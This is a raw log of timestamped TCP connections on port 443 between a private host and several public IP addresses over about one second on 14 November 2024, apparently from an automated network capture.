Nov 14, 2024 20:43:04.031661987 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.033266068 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.033307076 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:04.037420034 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.038634062 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.038654089 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.038846016 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:04.038853884 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.039196968 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.039273024 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.040227890 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.040292025 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.041922092 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.042013884 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.042030096 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.081964016 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.081974983 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.118457079 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:04.118493080 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:04.118558884 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:04.118769884 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:04.118782997 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:04.123351097 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.269678116 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.269819975 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.269917011 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.269965887 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.269980907 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.270076990 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.270123005 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.270131111 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.270185947 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.270191908 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.277466059 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.277532101 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.277539015 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.278929949 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.279067039 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.279160976 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.279167891 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.279196978 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.279247046 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.279263020 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.279418945 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.279469967 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.279484034 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.287533045 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.287632942 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.287647963 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.316355944 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.316410065 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.316559076 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.316567898 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.319051027 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.319104910 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.319231033 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.319267988 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.319509029 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.319582939 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.319916010 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.319922924 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.320307016 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:04.320336103 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:04.336694956 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.336709023 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.367587090 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.380425930 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.387892008 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.388077974 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.388322115 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.388334036 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.388927937 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.388976097 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.388986111 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.393194914 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.393258095 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.393265009 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.397439957 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.397613049 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.397670984 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.397691011 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.402848959 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.402895927 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.402903080 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.403678894 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.403738976 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.403754950 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.408132076 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.408216000 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.408230066 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.416692019 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.416753054 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.416766882 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.456177950 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.456187963 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.472021103 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.472038031 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.503186941 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.506947994 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.507437944 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.507519960 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.507565022 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.507577896 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.507839918 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.508939028 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.512355089 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.512434959 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.512444019 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.516216993 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.516319990 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.516382933 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.516401052 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.516510963 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.522507906 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.525110960 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.525166035 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.525192976 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.527065992 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.527124882 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.527138948 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.535368919 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.535445929 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.535458088 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.535500050 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.535547018 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.565701008 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.565753937 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.565768003 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.577860117 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.612046003 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.625411034 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.625657082 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.625705957 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.625718117 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.626063108 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.626081944 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.626221895 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.626275063 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.626281977 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.630810022 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.630856991 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.630875111 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.634862900 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.634927034 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.634942055 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.635102034 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.635166883 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.635179996 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.641179085 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.641242981 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.641251087 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.641845942 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.641905069 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.641918898 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.645526886 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.645590067 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.645602942 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.654834986 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.654896021 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.654911041 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.684763908 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.684813976 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.684815884 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.684832096 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.684874058 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.697031021 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.697093964 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.697105885 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.741602898 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.744386911 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.745014906 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.745064974 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.745078087 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.746562958 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.746617079 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.746623993 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.753408909 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.754132032 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.754194975 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.754215956 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.759932041 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.759985924 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.759995937 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.760341883 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.760394096 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.760410070 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.762545109 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.762595892 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.762602091 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.774045944 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.774122953 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.774137974 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.774194956 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.774283886 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.774317026 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.774333954 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.774679899 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.803258896 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.803339958 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.803349018 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.816005945 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.846297979 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.846312046 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.867340088 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.867403984 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885261059 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885298014 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885319948 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885346889 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885346889 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.885359049 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885379076 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.885390043 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.885397911 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885422945 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885452986 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885457039 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.885464907 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885530949 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.885874033 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.885974884 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.886044979 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.886068106 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.886101007 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.886156082 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.886194944 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.886205912 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.886264086 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.892499924 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.892682076 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.892764091 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.892821074 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.892838955 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.893137932 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.893150091 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.893726110 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.894052029 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:04.894073963 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.894906044 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.895297050 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:04.895411015 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.895554066 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:04.895554066 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:04.895596981 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.921979904 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.922101974 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.922130108 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.934937954 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.935127020 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.935190916 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.970946074 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.970957041 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:04.985964060 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:04.993185043 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.003690004 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.003721952 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.003746986 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.003757954 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.003768921 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.003804922 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.004273891 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.004276037 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.004340887 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.004348040 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.004481077 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.004549026 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.004575968 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.004617929 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:05.004626989 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.004730940 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.004755020 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.004786015 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.004793882 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.004829884 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.004909039 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.005140066 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.005543947 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:05.005598068 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.005899906 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:05.011737108 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.011804104 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.011820078 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.011929035 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.011986971 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.012000084 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.012096882 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.012187004 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.012238979 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.012253046 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.012306929 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.040704966 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.040744066 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.040754080 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.047382116 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.053667068 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.053862095 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.053929090 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.053966999 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.081094027 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.081104994 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.097320080 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.097382069 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.112338066 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.112416983 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.112437010 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.122165918 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.122225046 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.122237921 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.122402906 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.122502089 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.122509956 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.122749090 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.122793913 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.122802019 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.123217106 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.123290062 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.123296976 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.123441935 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.123490095 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.123619080 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.123651028 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.123682976 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.123697042 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.130338907 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.130448103 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.130534887 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.130536079 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.130609989 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.130650997 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.130743980 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.130812883 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.130830050 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.172538042 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.172645092 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.172736883 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.172802925 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.172877073 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.173489094 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:05.207412958 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.207667112 CET	49809	443	192.168.2.4	142.250.186.142
